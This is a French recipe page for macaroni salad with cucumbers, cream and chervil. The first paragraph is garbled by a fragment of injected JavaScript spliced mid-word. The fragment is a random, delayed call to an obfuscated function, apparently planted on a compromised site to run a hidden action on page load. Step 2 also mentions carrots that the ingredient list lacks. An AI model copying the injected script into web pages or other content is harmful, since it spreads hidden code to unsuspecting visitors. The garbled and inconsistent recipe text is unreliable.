Salade de macaroni aux concombres

2018-02-09

Faites cuire les macaronis dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée pendant 10 minutes les égoutter, les plonger rapidement dans l’eau froide. Égouttez-les à nouveau. Réservez.

Ingrédients

  • Pour 6 personnes
  • 500g de macaronis
  • 2 concombres
  • 300 g de crème fleurette
  • Le jus d’un citron
  • ½ botte de cerfeuil
  • Sel et Poivre

Préparation de la recette

Etape 1

Faites cuire les macaronis dans une grande quantité d'eau bouillante salée pendant 10 minutes les égoutter, les plonger rapidement dans l’eau froide. Égouttez-les à nouveau. Réservez.

Etape 2

Rincez, séchez, coupez-les concombres en tronçons, sans les peler. Pelez, râpez les carottes. Pressez-les dans un torchon pour en extraire l’eau.

Etape 3

Dans un bol mélangez le jus du citron avec la crème fleurette, salez, poivrez. Ajoutez les macaronis froids dans les concombres. Versez la crème.

Etape 4

Mélangez bien, parsemez de cerfeuil ciselé avant de servir.

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